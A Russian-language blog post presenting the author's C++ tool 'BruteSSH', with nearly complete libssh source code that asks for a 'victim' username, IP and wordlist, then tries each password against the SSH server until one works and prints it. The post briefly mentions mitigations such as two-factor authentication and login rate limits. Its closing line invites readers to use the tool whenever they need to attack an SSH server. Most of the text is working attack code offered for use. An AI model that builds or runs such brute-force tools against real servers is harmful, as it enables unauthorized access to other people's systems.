Введение
Добро пожаловать в мою новую статью, сегодня я покажу вам мой новый инструмент C++, этот инструмент называется BruteSSH, и вы можете догадаться, для чего он нужен, этот инструмент создан для брутфорса SSH-сервера.
Это ссылка на Github:
Что такое SSH-брутфотс?
Информация предоставлена ChatGPT ;)
Перебор SSH — это тип кибератаки, при которой злоумышленник неоднократно пытается угадать учетные данные для входа (имя пользователя и пароль) на сервер SSH (Secure Shell). Злоумышленник использует автоматизированные инструменты для быстрой последовательной проверки различных комбинаций учетных данных в надежде в конечном итоге угадать правильные и получить несанкционированный доступ к серверу. Этот тип атаки можно смягчить, внедрив надежные методы проверки подлинности, такие как двухфакторная проверка подлинности, и ограничив количество попыток входа в систему, которые могут быть предприняты за определенный период времени.
Этот проект — мой первый «серьезный» проект с использованием классов и объектов, и я очень рад сообщить вам, что он очень популярен в моих следующих проектах, это лучший способ разработки, и мне это нравится!
Код
Этот скрипт для брутфорса SSH-серверов, созданный с помощью 3 разных файлов BruteForce.cpp, Host.h и banner.h.
- BruteForce.cpp: основной файл предназначен для вызова других, в основном он вызывает баннер, затем запрашивает пользователя, IP-сервер, путь списка слов, а затем вызывает функцию readPasswordsFromFile для отправки паролей списка слов на вектор, а затем с помощью цикла for попробуйте подключиться с разными паролями.
#include <iostream> #include <string> #include <thread> #include <vector> #include "Host.h" #include "Utils/WordlistToVector.h" #include "Banner.h" using namespace std; int main(){ ssh_session session; int check; string ip; string user; string file; cout<<endl; banner(); yellow("\n[+] Provide Information about your victim\n\n"); cout<<"User: "; cin>>user; cout<<"IP: "; cin>>ip; cout<<"Path of Wordlist: "; cin>>file; vector<string> passwords = readPasswordsFromFile(file); cout<<endl; SSHHost ssh_host(ip,user); for (int i = 0; i < passwords.size(); i++) { session = ssh_host.SSHConnection(ssh_host.ip,ssh_host.user); printf("Password: %d/%lu\r",i+1,passwords.size()); fflush(stdout); check = ssh_host.SSHAuth(session,ssh_host.user,passwords[i]); if(check == SSH_AUTH_SUCCESS){ ssh_disconnect(session); break; }} return 0; }
- Host.h: Файл Host в основном содержит один класс с именем SSHHost, этот класс имеет два атрибута, также имеет один метод конструктора, а затем имеет еще два метода, один из которых — SSHConnection, это для выполнения соединение с SSH-сервером, и в последнее время есть последний метод SSHAuth, этот метод пытается аутентифицировать его с помощью имени пользователя и паролей.
#include <iostream> #include <string> #include <libssh/libssh.h> #include "Utils/ColorClass.h" using namespace std; class SSHHost{ public: string ip; string user; SSHHost(string ip,string user){ this->ip = ip; this->user = user; } ssh_session SSHConnection(string ip, string user){ ssh_session session = ssh_new(); ssh_options_set(session, SSH_OPTIONS_HOST, ip.c_str()); int rc = ssh_connect(session); if (rc != SSH_OK){ red("\nServer connection unsuccesfull\n"); cout<<"Error: "<<ssh_get_error(session) << endl; } else if(rc == 0){ return session; } } int SSHAuth(ssh_session session,string user,string password){ // Authentication int rc; rc = ssh_userauth_password(session, user.c_str(), password.c_str()); if (rc != SSH_AUTH_SUCCESS){ } else if (rc == SSH_AUTH_SUCCESS) { green("Password Found: "); cout<<password<<"\n"; } return rc; } };
- Banner.h: в основном создает баннер
#include <iostream> #include <string> using namespace std; int banner(){ cout << "\033[1;31m"; //Este código ANSI cambia el color del texto a rojo string border(35, '*'); cout << border << endl; string text = "BruteSSH"; int center = (35 - text.length()) / 2; cout << "" << string(center, ' ') << text << string(center, ' ') << "" << endl; cout << border << endl; cout << "\033[0m"; //Este código ANSI vuelve al color de texto predeterminado return 0; }
ПОС
Использовать этот инструмент очень просто, вам нужно только запустить инструмент:
Затем ответьте на основные вопросы о вашей жертве и укажите путь к вашему вордлисту.
Теперь он начинает пробовать пароли:
И тогда пароль его основан.
Выводы
Вот и весь мой новый инструмент, надеюсь, он вам понравится и вы будете использовать его, когда вам нужно атаковать один SSH-сервер.
Спасибо, что прочитали это :)
S12.